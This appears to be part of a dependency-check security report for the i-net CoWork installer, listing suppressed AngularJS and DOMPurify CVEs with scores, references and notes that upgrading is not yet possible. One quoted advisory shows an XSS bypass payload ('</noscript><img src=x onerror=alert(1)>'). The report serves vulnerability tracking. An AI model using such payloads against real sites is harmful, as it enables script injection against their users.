CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>

- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:linux:\*.\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:vsphere:\*.\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:windows:\*.\*

**CVE-2025-2336 (RETIREJS)** suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaxX/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-4690 (RETIREJS)** suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716 (RETIREJS)** suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS)** suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular.jar: angular.min.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular.jar/META-INF/resources/webjars/angular/1.8.3/angular.min.js

**MD5:** 967a32633fa8f38f4ac3376c1a37b992

**SHA1:** b53b74d8e0b732dcdb98fbe521146b88299ea2f1

**SHA256:** 396dc1a03d6cc02e9c51a80246e0db53c5c8df9bd07287e3b51bce4a29dab355

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

### Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFPWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

#### **CVE-2024-21490** suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [[@angular/core](https://www.npmjs.com/package/@angular/core)](<https://www.npmjs.com/package/@angular/core>).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

#### [CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN\\_LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*

#### [CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>



- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.2.21; versions up to (including) 1.8.3

**CVE-2023-26117** suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

**CVE-2023-26118** suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

#### Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

#### References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*

- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2024-8373** suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

#### **CVE-2025-2336** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

#### **CVE-2025-4690** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021** (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: hugerte.jar: hugerte.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/hugerte.jar/META-INF/resources/webjars/hugerte/1.0.10/hugerte.js

**MD5:** 0a6efbdc07b365918a67844e02cb30e2

**SHA1:** 54aae4c54ccee88eea1b3b9f74d958d813a113a3

**SHA256:** b366d47bca68c558550a58193bd4a1e05a1f5ef98cbaab316e392937da38f3eb

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

## Suppressed Vulnerabilities



### [CVE-2026-41240](#) suppressed

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID\_TAGS and FORBID\_ATTR handling when function-based ADD\_TAGS is used. Commit c361baa added an early exit for FORBID\_ATTR at line 1214. The same fix was not applied to FORBID\_TAGS. At line 1118-1123, when EXTRA\_ELEMENT\_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID\_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'),  
CWE-183 Permissive List of Allowed Inputs

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (6.0)
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSX:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- 134c704f-9b21-4f2e-91b3-4a467353bcc0 - [EXPLOIT,MITIGATION,PATCH,VENDOR\\_ADVISORY](#)
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m>
- security-advisories@github.com - [EXPLOIT,MITIGATION,PATCH,VENDOR\\_ADVISORY](#)
- security-advisories@github.com - [PATCH](#)
- security-advisories@github.com - [PRODUCT,RELEASE\\_NOTES](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:cure53:dompurify:\*:\*:\*:\*:\* versions up to (excluding) 3.4.0

### [CVE-2026-0540](#) suppressed

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE\_FOR\_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: HugeRTE: There is currently no fixed date. <https://github.com/hugerte/hugerte/issues/128#issuecomment-4025527015>

CVSSv4:

- MEDIUM (5.3)
